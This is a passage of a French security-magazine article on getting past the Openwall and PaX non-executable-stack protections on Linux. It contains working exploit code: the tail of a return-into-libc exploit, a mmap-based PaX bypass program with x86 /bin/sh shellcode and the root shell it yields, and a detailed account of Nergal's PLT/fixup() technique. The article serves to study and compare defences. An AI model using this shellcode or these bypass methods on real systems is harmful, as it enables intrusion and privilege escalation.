        }

        *( (size_t *) &(buffer[i]) ) = PLT;
        i += sizeof( size_t );
        *( (size_t *) &(buffer[i]) ) = *( (size_t *)( &junk ));
        i += sizeof( size_t );
        *( (size_t *) &(buffer[i]) ) = STACK - sizeof( PATH ) - sizeof( SH );
        i += sizeof( size_t );
        *( (size_t *) &(buffer[i]) ) = STACK;
        i += sizeof( size_t );
        *( (size_t *) &(buffer[i]) ) = STACK;
        i += sizeof( size_t );

        buffer[i] = '\0';

        execve( exec_argv[0], exec_argv, envp );
        return( -1 );
}

Les deux pointeurs que nous fournissons à execve() sont égaux à STACK (0xc0000000-4) qui représente le début de la pile, et sont bien NULL à cet endroit.

$ ./xplt
sh-2.03# 

Contourner PaX selon Nergal

La fonction mmap() (void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset)i) permet de projeter un fichier (ou un périphérique) dans une zone mémoire dont nous contrôlons les protections grâce au paramètre 'prot'. Parmi les protections possibles, PROT_EXEC gère le droit d'exécution dans la zone mémoire. C'est exactement ce qu'il nous faut pour contourner PaX.

En effet, il suffit alors de placer un classique shellcode en mémoire (dans la pile par exemple) et d'accorder les droits d'exécution à l'adresse correspondante. Le programme suivant illustre ce mécanisme. Le shellcode est chargé en mémoire (la variable 'statbuf' renferme les informations sur le fichier qui contient le shellcode) :

	src = mmap( 0, statbuf.st_size, PROT_WRITE|PROT_EXEC,
	            MAP_PRIVATE|MAP_FILE, desc, 0 );

Puis l'adresse de retour de notre programme est remplacée par celle du shellcode :

	*( (size_t *)&(buffer[132]) ) = (size_t)src;

C'est donc bien notre shellcode qui est exécuté à la sortie du programme :

$ cat shellcode
    \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
    \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
    \x80\xe8\xdc\xff\xff\xff/bin/sh
$ /usr/bin/printf `cat shellcode` > shell.dump
$ /bin/cat mmap.c
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main( int argc, char * argv[] )
{
        char buffer[128];
        char * src;
        int desc;
        struct stat statbuf;

        desc = open( "shell.dump", O_RDWR );
        if ( desc < 0 )
	        exit( -1 );

        if ( fstat( desc, &statbuf ) > 0 )
                exit( -1 );

        src = mmap( 0, statbuf.st_size, PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FILE, desc, 0 );
        fputs( "mmap() done;\n", stderr );

        if ( src == MAP_FAILED ) {
                perror( "mmap()" );
                exit( -1 );
        }

        fprintf( stderr, "0x%02x, 0x%02x;\n",
                *((unsigned char *)src+0),
                *((unsigned char *)src+1) );

        *( (size_t *)&(buffer[132]) ) = (size_t)src;
        return( 0 );
}

$ /usr/bin/make mmap
cc     mmap.c   -o mmap
$ ./mmap
mmap() done;
0xeb, 0x1f;
sh-2.03$

L'article [3] de Nergal décrit comment utiliser mmap() dans des exploits pour contourner PaX. Sa lecture vaut vraiment la peine :)

Contourner le patch d'Openwall et PaX

Différentes solutions sont envisageables pour contourner chacune de ces protections. Nous présentons ici une technique qui fonctionne pour les deux patches, inspirée par le travail de Nergal [3].

Nous ne donnons pas d'exploit pour ce paragraphe, vous pouvez le trouver dans le fichier expl-nergal.c. Nous revenons par contre sur certains détails peu évidents de son article et sur les problèmes que nous avons rencontré lors de l'écriture de l'exploit.

Problématique

En règle générale, nous remplaçons l'adresse retour de la fonction vulnérable par la PLT de la fonction que nous voulons exécuter. C'est ici que se situe le problème (qui existait déjà auparavant, mais qui n'était pas gênant). Pour avoir une PLT d'une fonction dans le programme vulnérable, il faut que la fonction que nous voulons exécuter soit appelée par le programme vulnérable. Certes, le notre comporte un appel à execve() et à strcpy, mais ça n'est pas toujours le cas.

Pour résoudre ce problème, nous demandons au programme lui-même de trouver l'adresse de la fonction que nous voulons exécuter. Le principe est de retourner directement dans la PLT en lui fournissant les arguments appropriés pour qu'elle s'occupe elle-même de résoudre le symbole que nous souhaitons. Pour cela, nous avons besoin du nom de la fonction que nous voulons exécuter, et de quelques paramètres supplémentaires. Le processus de résolution de symboles traduit le nom de la fonction (fourni sous forme d'une chaîne de caractères) en une adresse où le code de la fonction a été chargé.

Appeler le mécanisme de résolution de symbole

Lorsqu'il rencontre un symbole inconnu lors de son exécution, le programme passe la main à une section chargée de résoudre ce symbole :

$ gdb -q vuln
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048314 <strcpy>:	jmp    *0x8049668
0x804831a <strcpy+6>:	push   $0x18
0x804831f <strcpy+11>:	jmp    0x80482d4 <_init+24>

Ce petit bout de code place donc un décalage (offset) dans la pile puis passe le contrôle au mécanisme de résolution de symboles. En effet, l'adresse 0x80482d4 correspond au début de la section .plt qui, pour résumer, appelle la fonction fixup() (voir le fichier $GLIBC/elf/dl-runtime.c). Le décalage indique à la table où chercher les renseignements dont elle a besoin. Ce processus est le même pour toutes les fonctions :

  1. placer un entier sur la pile (appelé reloc_offset dans la fonction fixup()) ;
  2. passer l'exécution au début de la section .plt.

Le prototype de cette fonction est :

 
ElfW(Addr) fixup (struct link_map *__unbounded l, ElfW(Word) reloc_offset)

Elle nécessite donc en théorie, deux arguments, mais nous devrons fournir uniquement le second, celui qui correspond au décalage dans la mémoire pour retrouver les informations dont elle a besoin.

La fonction fixup() utilise les informations contenues dans l'en-tête du fichier exécutable pour obtenir les adresses des différentes sections, mais aussi deux structures qui caractérise le symbole recherché (voir elf.h) :

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;

/* Relocation table entry without addend (in section of type SHT_REL). */
typedef struct
{
  Elf32_Addr    r_offset;  /* Address */
  Elf32_Word    r_info;    /* Relocation type and symbol index */
} Elf32_Rel;

/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)

/* Symbol table entry. */
typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

Ainsi, l'objectif est de parvenir à reconstruire dans la pile le schéma représenté en figure 3, c'est-à-dire remplacer l'adresse de retour de la fonction vulnérable par la résolution de symbole qui réalise elle-même l'appel à la fonction de notre choix.

Fig. 3 : Retour dans la PLT
arg1 = premier argument dont aura besoin le fonction dont on résout le symbole
junk = agit comme adresse de retour après la fonction dont on résout le symbole
reloc_offset = décalage pour atteindre la structure de type Elf32_Rel qui contient les informations nécessaires à la résolution
&.plt_start = adresse du début de la PLT qui va réaliser pour nous la recherche de l'adresse de la fonction que nous voulons voir exécutée

La fonction fixup(), coeur du mécanisme de résolution, commence par récupérer les informations dont elle a besoin :

  1. Récupérer la structure Elf32_Rel *reloc = JMPREL + reloc_offset
  2. Récupérer la structure Elf32_Sym *sym = &SYMTAB[ELF32_R_SYM (reloc->r_info)];     (1)

Elle effectue ensuite différentes opérations pour vérifier la validité de la requête avant de résoudre le symbole et de laisser l'exécution se poursuivre à l'adresse de la fonction nouvellement résolue. Nous ne détaillerons pas plus le comportement de la fonction fixup() car, entre l'article de Nergal et les sources dl-runtime.c, tout le matériel est déjà disponible.

On pourrait penser qu'il suffit de placer n'importe où en mémoire ces deux structures, sauf que :

  1. la ligne (1) ne couvre pas tout l'espace adressable ;
  2. la variable sym n'est pas la seule à dépendre de reloc->r_info :
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)
          
    Cela montre que les positions en mémoire de sym et ndx sont liées puisque ces deux variables sont récupérées dans la mémoire à partir de reloc->r_info.

La variable ndx (de type short) possède non seulement un espace d'adressage plus restreint que celui de sym, mais doit également être nul (qui indique alors un symbole local). Afin de satisfaire toutes ces contraintes simultanément, le principe est de rechercher en mémoire un short égal à 0, et, à partir de sa position, calculer celle de sym.

En revanche, la variable reloc n'est pas soumise à ces contraintes et peut donc être placée n'importe où en mémoire.

Cependant, il est peu probable que sym attende sagement à cette adresse, même si elle doit obligatoirement y être située. Pour résoudre ce problème, nous construisons le symbole de notre choix et le recopions à l'adresse voulue à l'aide de la fonction strcpy().

Ainsi, l'exploitation se déroule en deux étapes :

  1. strcpy() : on recopie à l'adresse voulue la description du symbole qu'on cherche à résoudre ;
  2. fixup() : on déclenche le mécanisme de résolution de symboles.
Pour réussir cela, nous devons construire de fausses frames en mémoire qui représente cet enchaînement de fonctions (une frame représente la mémoire utilisée par une fonction dans la pile, ce qui comprend aussi bien les variables locales que les sauvegardes des registres liées à l'appel de cette fonction).

Enchaîner les appels de fonctions

La gestion d'une fonction se déroule en 3 phases :

  1. avant l'appel, les arguments sont placés dans la pile ;
  2. dès le début de la fonction, de l'espace est alloué pour les variables locales ;
  3. à la sortie de la fonction, les instructions leave puis ret sont exécutées pour repasser la main à la fonction appelante.
Pour de plus amples détails, le lecteur est invité à utiliser gdb ou à rechercher dans la littérature les articles qui présentent ces étapes (voir [6] par exemple).

L'objectif est de remplacer, grâce au débordement, les sauvegardes des registres %ebp et %eip (adresse de retour) de la fonction vulnérable par les valeurs qui nous arrangent (voir fig. 4) :

Fig. 4 : Schéma général des enchaînements de fonctions

De cette manière, lorsque le programme quitte la fonction vulnérable, l'instruction leave place le registre %ebp dans la frame de la fonction strcpy(). Ensuite, le ret agit sur le registre d'instructions. Celui-ci est de nouveau dirigé vers une paire leave; ret : le leave déplace le registre %ebp vers la seconde fonction (fixup()). Quant au ret, il récupère la valeur se trouvant au sommet de la pile : l'adresse de la fonction strcpy() qui sera donc la prochaine exécutée (voir fig. 5).

Fig. 5 : Retour dans la libc
arg1, arg2 = arguments pour la fonction dont on résout le symbole
reloc_offset = décalage pour atteindre la structure de type Elf32_Rel
&fixup() = adresse de la fonction de résolution de symboles
sym fabriqué = symbole fabriqué par nos soins
adr. dest. sym = adresse où placer le symbole que nous avons fabriqué
&strcpy() = adresse la fonction strcpy()

Après les fonctions, on place les arguments dont on a besoin (les structures Elf32_Rel et Elf32_Sym pour fixup()).

Cette solution permet d'appeler n'importe quelle fonction. Par exemple, dans le cas de PaX, mmap() permet de marquer une zone mémoire comme exécutable (PROT_EXEC) et donc d'exécuter un éventuel shellcode qui s'y trouverait. Elle permet aussi de contourner la protection CONFIG_PAX_RANDMMAP de PaX (mais certainement plus pour longtemps :).

Cette méthode d'exploitation est très puissante puisqu'elle permet de modifier tranquillement l'environnement d'exécution du programme vulnérable. Néanmoins, sa mise en oeuvre requiert une extrême précision qui semble difficilement compatible avec une exploitation à distance, vu le nombre important de paramètres d'exécution nécessaires.

Conclusion

Ces deux patches poursuivent le même objectif, rendre la pile non exécutable, et y parviennent de deux manières différentes. Le patch d'Openwall offre d'autres protections, non liées à l'exploitation de débordement de buffer qui sont très intéressantes. Cependant, ce patch est très facile à contourner alors que le cas de PaX est, en réalité, bien plus délicat. En effet, PaX ajoute à cette protection d'autres mécanismes (adresses variables en mémoire par exemple) qui rendent l'écriture d'exploits bien plus difficile. Certains problèmes subsistent encore avec PaX (notamment une perte de performances), mais dès qu'ils seront résolus, cette défense deviendra indispensable sur les serveurs sensibles.

grsecurity ( http://www.grsecurity.net) est un patch cumulatif qui regroupe, entre autres, les mêmes fonctionnalités du patch d'Openwall et de PaX. Toutes les options ne sont pas utiles, voire peuvent nuire sérieusement aux performances du système. Néanmoins, il permet de bénéficier des avantages des deux patches présentés dans cet article, et de quelques autres.


Bibliographie

[1] Protections contre l'exploitation des débordements de buffer - Introduction
MISC #1
F. Raynal, S. Dralet
Sources : prot-misc1.tgz
[2] Defeating Solar Designer's non executable stack patch
Rafal Wojtczuk (Nergal)
http://www.securityfocus.com/archive/1/8470
[3] The advanced return-into-lib(c) exploits: PaX case study
Phrack #58
Rafal Wojtczuk (Nergal)
http://phrack.org/issues/58/4.html
[4] Getting around non-executable stack (and fix)
Solar Designer
http://www.securityfocus.com/archive/1/7480
[5] Le noyau Linux
Daniel P. Bovet et Marco Cesati
http://www.oreilly.fr/catalogue/noyau_linux.html
[6] Éviter les failles de sécurité dès le développement d'une application - 2 : mémoires, pile, fonctions et shellcode
F. Raynal, C. Blaess, C. Grenier
http://www.cgsecurity.org/Articles/SecProg/Art2/index-fr.html

Frédéric Raynal - pappy(at)miscmag.com
Samuel Dralet - zorgon(at)mastersecurity.fr